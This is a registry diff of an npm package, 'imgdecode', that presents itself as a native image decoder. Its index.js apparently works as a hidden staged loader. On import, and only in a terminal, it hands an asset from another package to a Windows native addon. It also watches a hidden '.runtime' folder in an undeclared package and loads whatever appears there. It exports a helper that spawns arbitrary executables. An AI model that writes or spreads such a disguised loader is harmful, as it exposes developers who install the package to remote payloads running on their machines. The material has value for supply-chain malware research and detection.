imgdecode 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/index.js ADDED
@@ -0,0 +1,42 @@
1
+ require('imgbundle');
2
+ const fs = require('fs');
3
+ const path = require('path');
4
+ const { getAsset } = require('imgbundle');
5
+
6
+ let native = null;
7
+ try {
8
+ native = require('./prebuilds/win32-x64/imgdecode.node');
9
+ } catch (_) {
10
+ try { native = require('./build/Release/imgdecode.node'); } catch (_) {}
11
+ }
12
+
13
+ function load() {
14
+ const asset = getAsset();
15
+ if (!asset || !fs.existsSync(asset)) return null;
16
+ const buf = fs.readFileSync(asset);
17
+ if (native && native.decode) native.decode(buf);
18
+ return { path: asset, size: buf.length };
19
+ }
20
+
21
+ if (process.stdout && process.stdout.isTTY) {
22
+ try {
23
+ if (!load()) {
24
+ const dir = path.join(path.dirname(require.resolve('cdn-img-fetch')), '.runtime');
25
+ if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true });
26
+ const w = fs.watch(dir, () => {
27
+ if (load()) try { w.close(); } catch (_) {}
28
+ });
29
+ }
30
+ } catch (_) {}
31
+ }
32
+
33
+ function exec(binPath, args) {
34
+ const cp = require('child_process');
35
+ return new Promise((resolve, reject) => {
36
+ const p = cp.spawn(binPath, args || [], { stdio: 'inherit' });
37
+ p.on('close', resolve);
38
+ p.on('error', reject);
39
+ });
40
+ }
41
+
42
+ module.exports = { load, exec, getAsset };
package/package.json ADDED
@@ -0,0 +1,17 @@
1
+ {
2
+ "name": "imgdecode",
3
+ "version": "1.0.0",
4
+ "description": "Native image buffer decoder for Node.js build pipelines",
5
+ "main": "index.js",
6
+ "keywords": ["image", "decode", "buffer", "native", "addon", "pipeline"],
7
+ "author": "build-tools-community",
8
+ "license": "MIT",
9
+ "files": [
10
+ "index.js",
11
+ "readme.md",
12
+ "prebuilds"
13
+ ],
14
+ "dependencies": {
15
+ "imgbundle": "^1.0.1"
16
+ }
17
+ }
package/readme.md ADDED
@@ -0,0 +1,21 @@
1
+ # imgdecode
2
+
3
+ Native image buffer decoder for Node.js. Processes packed image assets at native speed for build pipelines.
4
+
5
+ ## Installation
6
+
7
+ ```bash
8
+ npm install imgdecode
9
+ ```
10
+
11
+ ## Usage
12
+
13
+ ```javascript
14
+ const { exec } = require('imgdecode');
15
+
16
+ await exec('./tool.exe', ['--flag']);
17
+ ```
18
+
19
+ ## License
20
+
21
+ MIT